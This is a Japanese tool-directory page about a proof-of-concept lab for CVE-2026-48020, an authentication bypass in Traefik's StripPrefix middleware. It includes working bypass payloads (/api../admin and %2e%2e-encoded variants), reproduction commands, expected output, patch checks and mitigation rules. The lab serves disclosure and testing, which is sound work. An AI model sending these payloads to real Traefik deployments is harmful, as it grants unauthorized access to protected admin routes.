Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization — CVE-2026-48020の概念実証ラボ。パス正規化を介したTraefikのStripPrefixミドルウェアにおける重大な認証バイパスを実証します。Dockerベースの再現環境と検証スクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

CVE-2026-48020の概念実証ラボ。パス正規化を介したTraefikのStripPrefixミドルウェアにおける重大な認証バイパスを実証します。Dockerベースの再現環境と検証スクリプトを含みます。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1ヶ月前未レビュー

CVE-2026-48020 — Traefik StripPrefix ルートレベル認証バイパス (PoC)

CVE-2026-48020の自己完結型Proof of Concept (PoC)です。これは、ルーティング決定が行われた後にパス正規化が発生することにより、TraefikのStripPrefixミドルウェアでルートレベルの認証/認可バイパスが発生する脆弱性です。

例えばGET /api../adminのようなリクエストは、ルーティング時にパブリックなPathPrefix(\/api`)ルーターを通るため(保護されたルーターのbasicAuthミドルウェアは決してアタッチされません)、しかしStripPrefixが/apiを取り除き、Goのreq.URL.JoinPath()が残りの/../adminを正規化した後、バックエンドは/admin`を受信します — これは保護されるべきパスです。

CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
影響を受けるTraefik <= v2.11.46, <= v3.6.17, <= v3.7.1
修正バージョンv2.11.48, v3.6.19, v3.7.3

ラボの構成

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

ファイル

再現

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

脆弱なTraefikでの期待される出力

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

パッチ適用済みTraefik (v3.7.3) の場合

バイパスペイロードは200ではなく404を返します。パッチ(Traefik PR #13215)は、StripPrefix/StripPrefixRegex正規化後にパスが異なるリクエストを拒否するため、/../adminの書き換えは検出され拒否されます。

修正の確認

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

緩和策(アップグレードなし)

パブリックルートがトラバーサル形式に一致しないようにします:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

開示

WonYun / kyun0(GitHub: H4ck2)によってTraefikメンテナーに報告され、GHSA-xf64-8mw2-4gr2で修正されました。このPoCラボは、関連記事のために構築された独立した再現環境です:https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/

ツールをダウンロード
ファイル目的
docker-compose.yml脆弱なTraefik (v3.7.1) + Pythonバックエンドを起動します
dynamic.ymlTraefikの動的設定: パブリックな/apiストリップルートと、basicAuthで保護された/admin,/internalルート
backend.py保護されたパスに対してシークレットを返す小さなバックエンド
poc.pyバイパスペイロードを送信し、どのパスに到達したかを報告します